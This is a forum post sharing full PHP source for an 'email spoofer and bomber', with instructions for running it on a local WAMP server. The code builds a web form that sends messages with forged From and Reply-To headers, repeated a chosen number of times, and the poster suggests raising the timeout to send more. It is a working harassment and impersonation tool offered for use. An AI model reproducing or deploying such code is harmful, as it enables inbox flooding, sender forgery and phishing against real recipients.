Email spoofer & bomber
I wrote an email spoofer and bomber. Here's the code :) For those that dont have an apache server, use it at my website: [removed due to newbie spam] Timeout is set to 240 seconds(4 minutes), that are about 40 emails, you can always set the timeout higher for more emails :) change it to 600 seconds for 10 minutsn etc…
Enjoy!!!
<?php //WRITTEN BY SUPERPIMP //[removed due to newbie spam] //timeout limit for script set_time_limit(240); //send mail function send_mail(){ echo "<font face='georgia' size='2'>\r\n";
$to=$_POST['to'];
$from=$_POST['from'];
$reply=$_POST['reply'];
$headers="From: ".$from."\r\nReply-To: ".$reply;
$subject=$_POST['subject'];
$message=$_POST['textarea'];
$num=$_POST['num'];
$counter=range(1,$num);
if(isset($to) && isset($from) && isset($message) && $num!=NULL){
foreach($counter as $counter)
{
if (mail($to, $subject, $message, $headers)){
echo "<title>Mail sent!</title>\r\n";
echo "<p>Mail n° ".$counter." succesfully sent!\r\n";
}
else {
echo "<title>Mail not sent</title>\r\n";
echo "Mail n° ".$counter."couldn't be sent, please try again.\r\n";
}
}
}
elseif($num==NULL){
if (@mail($to, $subject, $message, $headers)){
echo "<title>Mail sent!</title>\r\n";
echo "<p>Mail succesfully sent!\r\n";
}
else {
echo "<title>Mail not sent</title>\r\n";
echo "Mail couldn't be sent, please try again.\r\n";
}
}
else{
echo "Please fill in all necessary fields.";
}
} //display mail form function mail_form() { echo <<<DISPLAY_FORM <head> <title>Email Spoofer/Bomber</title> <font face='tahoma' size='3'> <u>Email Spoofer/Bomber</u> </head> <body> <p> <font face='tahoma' size='2'> <table><form action='index.php' method='post'> <tr><td>receiver:</td><td> <INPUT class='field' type='text' name='to' size='50'></td></tr> <tr><td>your email:</td><td> <INPUT class='field' type='text' name='from' size='50'></td></tr> <tr><td>reply email:</td><td> <INPUT class='field' type='text' name='reply' size='50'></td></tr> <tr><td>subject:</td><td> <INPUT class='field' type='text' name='subject' size='50'></td></tr> <tr><td>send email</td><td> <INPUT class='field' type='integer' name='num' size='10'> times</td></tr> <tr><td>text:</td><td><textarea name='textarea' cols='50' rows='10'>Type your message here.</textarea></td></tr> <input type="hidden" name="send" value="1"> <tr><td><INPUT class=button type=submit value='Send!' action='index.php'></form></td></tr></table> <tr><td><p>Warning: bombing an email takes a while, please be patient!</td></tr> <p> </p> <p> <i>Note: the website admin cannot be held responsible for possible abuse of this email script.</i> </body> </html> DISPLAY_FORM; }
$send=$_POST['send'];
//execute functions if(isset($send)){ send_mail(); } else{ mail_form(); } ?>
thanks :) I thought I'd post it here because if I post it in the code bank no-one notices :P @hacking_noob: it's the source code of a php page, add it to somepage.php, if you have an apache server set up, you can run the script. Get one here: http://www.wampserver.com/ Place the file in the www dir (standard: c:\wamp\www\) and then go to your browser and type localhost/somepage.php and you can run it :D